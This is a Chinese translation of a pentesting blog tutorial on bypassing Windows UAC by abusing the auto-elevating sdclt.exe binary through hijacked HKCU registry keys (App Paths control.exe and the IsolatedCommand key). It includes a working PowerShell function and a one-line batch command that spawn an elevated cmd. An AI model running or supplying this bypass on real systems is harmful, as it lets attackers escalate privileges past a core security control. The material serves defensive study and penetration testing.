標籤:

繞過UAC系列之 SDCLT的利用

SDCLT是Windows系統(Windows 7及更高版本)中使用的Microsoft二進位文件,允許用戶執行備份和恢復操作。 但是它只是 Windows 將autoElevate設置為「true」的所有Microsoft二進位文件中的一個。 這一點可以通過使用sysinternals中的Sigcheck工具並瀏覽其清單文件進行驗證:

sdclt 的 autoelevate被設置為true

Matt Nelson發現了兩種可以允許用戶在Windows 10環境中繞過UAC的方法。 這兩種方法都需要構建一個特定的註冊表結構,但它們彼此並不相同,因為其中一個方法可以採用命令參數,而另一個方法將執行二進位文件的完整路徑。

應用路徑

備份和還原操作是控制面板的一部分。 這意味著當sdclt.exe進程啟動時,控制面板也會啟動。 該二進位文件被設計為以高完整性的進程運行:

sdclt – 高完整性進程

另外sdclt在啟動時會在註冊表中查找以下位置。

HKCUSoftwareMicrosoftWindowsCurrentVersionApp Pathscontrol.exe

然而這個路徑並不存在,因此,一個攻擊者可以創建這個註冊項路徑就可以執行指定的 payload,而且是以一個高完整性的進程啟動,從而繞過了UAC。

sdclt – 註冊項路徑並不存在

應用程序路徑 – 繞過UAC的註冊項

下一次啟動 sdclt.exe,則會運行並打開已經提升過許可權的cmd:

sdclt – 已經提升過許可權的cmd

無文件的實現

還有另一種方法可以通過sdclt來繞過UAC,可以使用命令參數而不是二進位程序的完整路徑。 具體來說是這樣的,當使用「kickoffelev」執行sdclt時,將會在註冊表中執行檢查,目的是找到以下路徑:

HKCUSoftwareClassesexefileshell
unascommandIsolatedCommand

默認情況下,此路徑並不存在,因此可以手動構造這個路徑,然後就可以執行cmd了:

Sdclt 無文件繞過UAC – Isolated Command 註冊表項

當sdclt再次使用/kickoffelev參數執行時,它會發現IsolatedCommand註冊表項是存在的,然後它就會執行許可權提升,然後打開cmd。

sdclt 無文件的實現– 已經繞過UAC的cmd

PowerShell的實現

可以使用以下PowerShell腳本來自動執行此繞過過程,該腳本是為pentestlab的博客而編寫的,它實際上是Matt Nelson 編寫的AppPathBypass腳本的簡化版本。

具體的代碼如下,或者你也可以在GithubGist 倉庫中找到:

function SdcltUACBypass(){Param ( [String]$program = "C:WindowsSystem32cmd.exe" #default )#Create Registry StructureNew-Item "HKCU:SoftwareMicrosoftWindowsCurrentVersionApp Pathscontrol.exe" -ForceSet-ItemProperty -Path "HKCU:SoftwareMicrosoftWindowsCurrentVersionApp Pathscontrol.exe" -Name "(default)" -Value $program -Force#Start sdclt.exeStart-Process "C:WindowsSystem32sdclt.exe" -WindowStyle Hidden#CleanupStart-Sleep 3Remove-Item "HKCU:SoftwareMicrosoftWindowsCurrentVersionApp Pathscontrol.exe" -Recurse -Force}

利用sdclt繞過 UAC的PowerShell腳本

Matt Nelson 為這兩種繞過方式都開發了對應的 PowerShell 腳本 ,用於演示繞過UAC。

應用程序路徑 –通過PowerShell實現的UAC繞過

無文件繞過 UAC – sdclt – PoweShell

命令提示符和記事本程序將以與sdclt相同的許可權級別啟動運行,這意味著它們的進程將以完全級別設置為「高」的進程運行,最終就繞過了用戶帳戶控制(UAC)。

sdclt – cmd 和 notepad 程序會作為一個高完整性的進程運行

UACME

現在要說的這種繞過方式是 UACME 項目的第31個繞過方式:

sdclt –利用 UACME 繞過UAC

批處理文件

也可以通過.bat 文件執行此繞過方式:

reg add "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionApp Pathscontrol.exe" /d "cmd.exe" /f && START /W sdclt.exe && reg delete "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionApp Pathscontrol.exe" /f

參考資源

gist.githubusercontent.com

technet.microsoft.com/e

github.com/enigma0x3/Mi

enigma0x3.net/2017/03/1

raw.githubusercontent.com

enigma0x3.net/2017/03/1

raw.githubusercontent.com

github.com/r00t-3xp10it

本文翻譯自:pentestlab.blog/2017/06 ,如若轉載,請註明來源於嘶吼: 4hou.com/technology/570 更多內容請關注「嘶吼專業版」——Pro4hou

推薦閱讀:

SecWiki周刊(第148期)
維基解密又雙叒叕曝光了 CIA 針對 Mac 和 Linux 的 3 個黑客工具
漲姿勢 | 看我如何通過汗液解鎖智能設備?
請警惕遠邪帶路黨,他們有可能是專業的網路恐怖分子

TAG:信息安全 | UAC |